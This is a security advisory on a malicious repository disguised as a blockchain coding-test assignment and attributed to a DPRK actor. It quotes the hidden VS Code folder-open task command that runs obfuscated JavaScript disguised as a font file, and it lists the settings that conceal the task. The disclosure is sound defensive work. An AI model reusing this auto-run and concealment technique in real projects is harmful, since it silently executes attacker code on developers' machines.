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GCVE-110-OSM-2026-1269
GCVE-110-OSM-2026-1269
Advisory PublishedCVSS 9.6/10
DPRK threat actor repository containing VS Code auto-execution malware disguised as a blockchain coding interview/assessment. Opens with malicious .vscode/tasks.json that silently executes an obfuscated JavaScript payload hidden as a font file when the victim opens the project in VS Code.
=== PAYLOAD: VS Code Auto-Execution ===
Malicious payload found in: .vscode/tasks.json
Attack vector: runOn:folderOpen auto-executes hidden shell task labeled eslint-check
Command: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2)
Payload file: public/fonts/fa-solid-400.woff2 (5,097 bytes of obfuscated JavaScript disguised as a font file)
Obfuscation: Character shuffling, custom decode functions, global require hijacking, variable name obfuscation
Social engineering: INSTRUCTIONS.md poses as Blockchain HomeTask Applicant Instructions with 4-6 hour coding test
Task presentation is fully hidden (reveal:never, echo:false, hide:true, close:true)
Cross-platform: Linux/macOS (command -v) and Windows (where)
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | Blockchain-Test3 | * (affected) | — |
References
Malicious package: Blockchain-Test3
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